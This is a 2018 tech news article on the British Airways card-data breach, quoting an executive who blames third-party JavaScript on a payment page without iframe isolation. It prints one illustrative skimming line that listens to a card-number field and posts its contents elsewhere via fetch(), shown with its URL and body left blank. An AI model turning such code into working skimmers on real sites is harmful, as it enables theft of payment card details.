Security Market Segment LS
Saturday, 08 September 2018 10:16

BA site breach through XSS flaw, says tech firm chief Featured

BA site breach through XSS flaw, says tech firm chief Pixabay

The British Airways website breach appears to have been done through a cross-site scripting flaw, according to the chief executive of a Web automation company in the UK.

Marcus Greenwood, who heads UBIO, said an analysis of the payment page of the airline showed that files were being loaded from seven external domains.

"These include files from analytics, customer service and A/B testing tools. These should not be present on Web pages processing customer card data," he wrote.

British Airways disclosed that the financial and personal details of 380,000 customers had been stolen from its site between 21 August and 5 September.

Well-known security researcher Mustafa Al-Bassam said earlier on Saturday that British Airways had changed the third-party JavaScript code it loads on its website as a result of a privacy complaint he had made.

Greenwood pointed out that there was no <iframe> isolation of the payment card fields on the BA payment page. "The card number field resides in the top frame as you can see below."

payment card

"This is bad because it is trivial for any JavaScript file loaded to steal the card details and post to another 3rd party domain. This is called XSS," he added, posting code to illustrate what he was saying:

document.querySelector(‘#CardNumber1’).addEventListener(‘change’, (e) => { fetch(‘’, { method: ‘post’, body: });

Greenwood said: "If the card details were collected in a third party domain <iframe>, it would prevent this basic XSS attack vector because JavaScript files loaded in the main window are not able to access the contents of a third party domain<iframe>.

"Given customer details were only stolen from users on the site between 21 August and 5 September, it’s likely that the hack was an XSS exploit rather than a database hack or similar."

He said the credit card firms like Visa and MasterCard had schemes for PCI compliance which set out the rules for collecting and storing card information.

pci card

These had to be observed by "any company that directly deals with card data, such as BA and go into considerable detail around encryption, physical and logical separation of infrastructure dealing with card data, staff access to PCI infrastructure etc etc … and of course vulnerability scanning including XSS".

"For reasons which are quite clear, XSS vulnerabilities in your PCI infrastructure mean an automatic failure. I think it is quite clear that whatever BA have done to 'fix the issue' is insufficient to protect the security of cardholder data," Greenwood added.

Contacted for comment, a BA spokesperson said a police investigation was underway into the breach and the company did not wish to compromise it.

"No British Airways customer will be left out of pocket as a result of this criminal cyber attack on its website,, and the airline's mobile app," the spokesperson said.

"The airline has guaranteed that financial losses suffered by customers directly because of the theft of this data from British Airways will be reimbursed, and is recommending that customers contact their bank or card provider if they made a booking or change to their  booking between 22:58 BST August 21 2018 ((7.58am AEST on 22 August) and 21:45 BST September 5 2018 (6.45am AEST 6 September).

"We understand that this incident will cause concern and inconvenience. We have contacted all affected customers to say sorry, and we will continue to update them in the coming days. British Airways will not be contacting any customers asking for payment card details, any such requests should be reported to the police and relevant authorities.

"British Airways continues to investigate with the police and cyber specialists, and has reported the data theft to the Information Commissioner."

Graphics: courtesy Marcus Greenwood

Read 8240 times

Please join our community here and become a VIP.

Subscribe to ITWIRE UPDATE Newsletter here
JOIN our iTWireTV our YouTube Community here


If you're looking at enabling Microsoft Teams for your contact centre, you should bookmark this webinar.

Marketing budgets are now focused on Webinars combined with Lead Generation.

Our panellists from Whangarei District Council (NZ) and Maurice Blackburn Lawyers (Aus) were closely involved in recent projects to enable Microsoft Teams for their own contact centres.

They have kindly agreed to join Enghouse and Microsoft to talk about some of the things they would recommend as most critical for IT and CX professionals planning a Teams Contact Centre migration.

Date: 11 May 2022
Time: 12pm AEST | 2pm NZST | 10am SGT

We look forward to having you join us. Please click the button below to register.



The past year has seen a meteoric rise in ransomware incidents worldwide.

Over the past 12 months, SonicWall Capture Labs threat researchers have diligently tracked the meteoric rise in cyberattacks, as well as trends and activity across all threat vectors, including:

Encrypted threats
IoT malware
Zero-day attacks and more

These exclusive findings are now available via the 2022 SonicWall Cyber Threat Report, which ensures SMBs, government agencies, enterprises and other organizations have the actionable threat intelligence needed to combat the rising tide of cybercrime.

Click the button below to get the report.



It's all about Webinars.

Marketing budgets are now focused on Webinars combined with Lead Generation.

If you wish to promote a Webinar we recommend at least a 3 to 4 week campaign prior to your event.

The iTWire campaign will include extensive adverts on our News Site and prominent Newsletter promotion and Promotional News & Editorial. Plus a video interview of the key speaker on iTWire TV which will be used in Promotional Posts on the iTWire Home Page.

Now we are coming out of Lockdown iTWire will be focussed to assisting with your webinars and campaigns and assistance via part payments and extended terms, a Webinar Business Booster Pack and other supportive programs. We can also create your adverts and written content plus coordinate your video interview.

We look forward to discussing your campaign goals with you. Please click the button below.


Sam Varghese

Sam Varghese has been writing for iTWire since 2006, a year after the site came into existence. For nearly a decade thereafter, he wrote mostly about free and open source software, based on his own use of this genre of software. Since May 2016, he has been writing across many areas of technology. He has been a journalist for nearly 40 years in India (Indian Express and Deccan Herald), the UAE (Khaleej Times) and Australia (Daily Commercial News (now defunct) and The Age). His personal blog is titled Irregular Expression.

Share News tips for the iTWire Journalists? Your tip will be anonymous




Guest Opinion

Guest Interviews

Guest Reviews

Guest Research

Guest Research & Case Studies

Channel News